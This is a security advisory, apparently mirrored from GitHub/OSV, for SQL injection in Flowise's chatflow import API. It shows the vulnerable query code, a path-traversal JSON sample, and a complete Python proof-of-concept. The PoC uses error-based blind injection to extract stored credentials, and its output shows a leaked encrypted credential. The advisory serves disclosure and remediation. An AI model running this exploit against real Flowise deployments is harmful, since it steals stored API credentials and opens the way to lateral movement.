GHSA-9c4c-g95m-c8cp

Suggest an improvement
Source
https://github.com/advisories/GHSA-9c4c-g95m-c8cp
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/04/GHSA-9c4c-g95m-c8cp/GHSA-9c4c-g95m-c8cp.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-9c4c-g95m-c8cp
Published
2025-04-07T18:55:13Z
Modified
2025-04-07T18:55:13Z
Severity
  • 5.9 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L CVSS Calculator
Summary
FlowiseDB vulnerable to SQL Injection by authenticated users
Details

Summary

import functions are vulnerable. * importChatflows * importTools * importVariables

Details

Authenticated user can call importChatflows API, import json file such as AllChatflows.json. but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.

Issue 1 (Bug Type) 1. Malicious user creates AllChatflows.json file by adding ../ and arbitrary path to the chatflow.id of the json file.

{
  "Chatflows": [
    {
      "id": "../../../../../../apikey",
      "name": "clickme",
      "flowData": "{}"
    }
  ]
}
    
2. Victim download this file, and import this to flowise. 3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.

Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.

// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
        try {
        const appServer = getRunningExpressApp()

        // step 1 - check whether file chatflows array is zero
        if (newChatflows.length == 0) return

        // step 2 - check whether ids are duplicate in database
        let ids = '('
        let count: number = 0
        const lastCount = newChatflows.length - 1
        newChatflows.forEach((newChatflow) => {
            ids += `'${newChatflow.id}'`           // <===== user input
            if (lastCount != count) ids += ','
            if (lastCount == count) ids += ')'
            count += 1
        })

        const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
            .createQueryBuilder('cf')
            .select('cf.id')
            .where(`cf.id IN ${ids}`)                   // <===== here
            .getMany()
        const foundIds = selectResponse.map((response) => {
            return response.id
        })

It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above. When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.

PoC

import argparse
import requests


def import_chatflows(
    url: str,
    token: str,
    payload: dict
):
    response = requests.post(
        f'{url}/api/v1/chatflows/importchatflows',
        headers={
            'Authorization': f'Bearer {token}'
            # 'Authorization': f'Basic {token}'
        },
        json=payload
    )

    return response.json()


def import_normal_data(
    api_url: str,
    token: str,
    normal_data: str
):
    data_id = 'aaaaaa'

    payload = {
        "Chatflows": [
            {
                "id": data_id,
                "name": normal_data,
                "flowData": "{}"
            }
        ]
    }

    import_chatflows(
        url=api_url,
        token=token,
        payload=payload
    )
    return data_id


def get_character(
    api_url: str,
    token: str,
    data_id: str,
    column_name: str,
    index: int
):
    injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'

    def create_payload(
        c: int
    ):
        return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

    chatflows_json = {
        "Chatflows": [
            {
                "id": "",
                "name": data_id,
                "flowData": "{}"
            }
        ]
    }

    bitbox = [
        64, 32, 16, 8, 4, 2, 1
    ]
    character = 0
    for bit in bitbox:
        payload = create_payload(c=character + bit)
        chatflows_json['Chatflows'][0]['id'] = payload

        res = import_chatflows(
            url=api_url,
            token=token,
            payload=chatflows_json
        )
        if 'DOUBLE value is out of range' in res['message']:
            # character is more then bit
            character += bit
        else:
            # character is less then bit
            character += 0

    return chr(character)


def get_length(
    api_url: str,
    token: str,
    data_id: str,
    column_name: str
):
    injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'

    def create_payload(
        c: int
    ):
        return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

    chatflows_json = {
        "Chatflows": [
            {
                "id": "",
                "name": data_id,
                "flowData": "{}"
            }
        ]
    }

    column_len = 0
    bitbox = [
        256, 128, 64, 32, 16, 8, 4, 2, 1
    ]
    for bit in bitbox:
        payload = create_payload(c=column_len + bit)
        chatflows_json['Chatflows'][0]['id'] = payload

        res = import_chatflows(
            url=api_url,
            token=token,
            payload=chatflows_json
        )
        if 'DOUBLE value is out of range' in res['message']:
            # column_len is more then bit
            column_len += bit
        else:
            # column_len is less then bit
            column_len += 0

    return column_len


def main(
    url: str,
    token: str
):
    api_url = url

    column_box = [
        'credentialName',
        'encryptedData'
    ]

    data_id = import_normal_data(
        api_url=api_url,
        token=token,
        normal_data='flow01'
    )

    for column_name in column_box:
        column_len = get_length(
            api_url=api_url,
            token=token,
            data_id=data_id,
            column_name=column_name
        )

        print(f'[+] {column_name} length is {column_len}')

        result = ''
        for i in range(column_len):
            result += get_character(
                api_url=api_url,
                token=token,
                data_id=data_id,
                column_name=column_name,
                index=i + 1
            )

        print(f'[+] {column_name}: {result}')


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument(
        '--url',
        type=str,
        default='http://flowise:3000'
    )
    parser.add_argument(
        '--access',
        type=str,
        required=True,
        help='Get from http://flowise:3000/apikey'
    )

    m_args = parser.parse_args()

    main(
        url=m_args.url,
        token=m_args.access
    )

poc results: encryptedData from flowise database credential table was successfully leaked.

/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==

It is recommended to limit all chatflow ids & chat ids to UUID.

Impact

  • Database leak
  • Lateral Movement
Database specific
{
    "github_reviewed_at": "2025-04-07T18:55:13Z",
    "cwe_ids": [
        "CWE-564"
    ],
    "nvd_published_at": null,
    "severity": "MODERATE",
    "github_reviewed": true
}
References

Affected packages

npm / flowise

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
2.2.7